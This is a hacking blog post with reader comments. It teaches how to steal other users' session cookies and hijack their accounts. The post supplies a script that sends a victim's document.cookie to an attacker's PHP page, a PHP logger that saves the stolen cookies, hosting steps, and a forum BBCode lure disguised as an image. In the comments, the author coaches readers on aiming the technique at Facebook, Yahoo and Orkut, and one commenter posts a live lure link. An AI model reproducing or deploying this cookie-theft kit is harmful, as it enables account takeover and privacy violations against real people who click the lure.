Thursday, September 9, 2010

How to steal a remote computer's Cookies to hack ids

July 26, 2009 by admin  
Filed under Hacks, How to, Internet, Tricks

Phishing How to steal a remote computer's Cookies to hack idsHey,with this cookie logging trick you hack hack anyone’s account at any point of time you just have to do one thing,you gotto send send him to a link which has the potential to log cookies.To fast…… huh ?Ok lets go one by one.

Here’s what to do

1.First you have to create a file which can capture a person’s cookie.So follow the following process.
a.Copy the code which is given below .

<script>location.href=’http://www.hack-genius.blogspot.com/cookielogger.php?cookie=’+escape(document.cookie)</SCRIPT>

b.Now you have to change “http://hack-genius.blogspot.com” to your your site.
c.Remember one thing you should not upload the files into a directory.
d.Now open notepad and paste the script in it and save it as fun.gif

2.Ok,now you gotto create a key logger which can store the captured cookie file and the script is given below.This is a .php script (quite simple huh ?)

<?php
$filename = “logfile.txt”;
if (isset($_GET["cookie"]))
{
if (!$handle = fopen($filename, ‘a’))
{
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
}
else
{
if (fwrite($handle, “\r\n” . $_GET["cookie"]) === FALSE)
{
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
}
}
echo “Temporary Server Error,Sorry for the inconvenience.”;
fclose($handle);
exit;
}
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
?>

a.Now just save this as “cookielogger.php” .Do not edit anything.

3.Now you just have to create a plane empty text document and save it as logfile.txt

4.Now you are ready with the cookie stealing process.Now you have to get registered with a free webhosting site such as www.110mb.com or www.t35.com with supports .php file hosting.

5.After you have done this you have 75% finished it.Now upload the files (not into a directory) and save it .You gotto upload it like this

cookielogger.php -> http://www.yoursite.com/cookielogger.php
logfile.txt -> http://www.yoursite.com/logfile.txt (chmod 777)
fun.gif -> http://www.yoursite.com/fun.gif

6.Now test it by placing it in a forum and insert this code in the signature or a post or where you can Smile !OR else you can just blindly use this in you forum by replacing the ones in red with your website URL.

[url=http://www.yoursite.com/fun.gif][img]http://yoursite.com/fun.jpg[/img][/url]

So the person who click it will think it is fun.jpg but it redirects to fun.gif

7.So if you click the image you will get a temporary error and you will find the cookie in the logfile.txt

8.And something like this will be stored in your “logfile.txt”

phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A-1%3B%7D; phpbb2mysql_sid=3ed7bdcb4e9e41737ed6eb41c43a4ec9

9.If you want to know how to use it you gotto download the firefox addon and with this you can finish the job neatly

Thats it !

Related posts:

  1. Find the IP Address of a Remote or Victim's Computer using .php file ...
  2. Hack(steal) all kinds of stored passwords using a Pendrive ...
  3. Hack Tagged.com Passwords through Fake login page/script ...
  4. Hack Tagged.com Passwords through Fake login page/script ...
  5. TeamViewer:Hack any Remote Servers or PCs ...
  6. How to Send Anonymous Emails ...
  7. How to Find the IP Address of a Remote Computer ...
  8. Find the IP Address of a Remote or Victim's Computer using .php file ...

Comments

No Responses to “How to steal a remote computer's Cookies to hack ids”
  1. d4rk says:

    this technique only workin if only we are know if the victim is still online right?,..its a session hijacking,.if the victim is alrady log off,jsut wondering if the cookies that we got will still work?sorry for the language

  2. $@! says:

    YEs ! the cookies won't work if he logs off because the cookie gets erased !!

  3. grego says:

    i cant do it dude.. can you help me…

  4. gregorio says:

    can you explain mor further?? sorry

  5. gregorio says:

    its not working to me dude… the cookies is not saving in the logfile.txt… can you help me?>???

  6. mark tan says:

    can i use this in fb or yahoo???

  7. $@! says:

    Yes you can !

  8. gregorio says:

    it does not get the cookie of facebook and yahoo.. just forums….

  9. $@! says:

    If you want from sites then rename fun.gif to fun.php !

  10. gregorio says:

    i just get cookie like this… i cant get facebook cookies…. lol…

  11. $@! says:

    try using a cookie edit and the code which your trying to show has embedded !

  12. Anonymous says:

    how do i upload without puttin it in a directory

  13. djinn of the gale says:

    i cant understand step6please elaborate it my mail idyadavamarnath1234@gmail.comi m deeply impressed by ur phishing trick

  14. Lih Man says:

    i am experiencing some problems. when i click on the image and go to fun.gif, it just displays the script as text. how can i fix this?

  15. $@! says:

    @djinnYou gotto register in a forum and place this code…this works only for forums !

  16. $@! says:

    @Lih ManThe code should be inserted in a orum…but you can try renaming fun.gif to fun.php…in that it works perfectly !

  17. Kevin Hwang says:

    It doesn't work! When I test it myslef…itll steal my cookies. But wen other ppl visit my site it doesnt work! please help

  18. $@! says:

    This works only if a person comes through a forum..if you want to embed it in your site then you gotta rename fun.gif to fun.php

  19. dj says:

    kindly explain 6th step……….

  20. Anonymous says:

    [url=http://www.orkutupgrade.frehostia.com/fun.gif][img]http://orkutupgrade.freehostia.com/fun.jpg[/img][/url]

  21. $@! says:

    @djthe code that i have provided can be placed in your forum id's signature column so that when a person clicks on it it redirects to your site !Anonymous has shown a good example !

  22. Anonymous says:

    random newbie question:the information that will be stored into the logme.txt will containt every passwords that has been ever saved on someones computer or not?thanks!

  23. $@! says:

    No the password does not get stored but the temporary cookie.You can search about cookies on Google !

  24. djinn of the gale says:

    can i do it with orkutif i post the code on orkut i doesnt display anythingwhy???????????????

  25. $@! says:

    it will not display anything…but when anyone clicks on it it redirect to your cookielogger.php page !

  26. ali says:

    hi sir am facing the following probs 1) can u tell me what is this (chmood777)2) also aslo help me in step 63) after making the link, can we send it to any person?i'd be gratefull if u help me! thanks

Speak Your Mind

Tell us what you're thinking...
and oh, if you want a pic to show with your comment, go get a gravatar!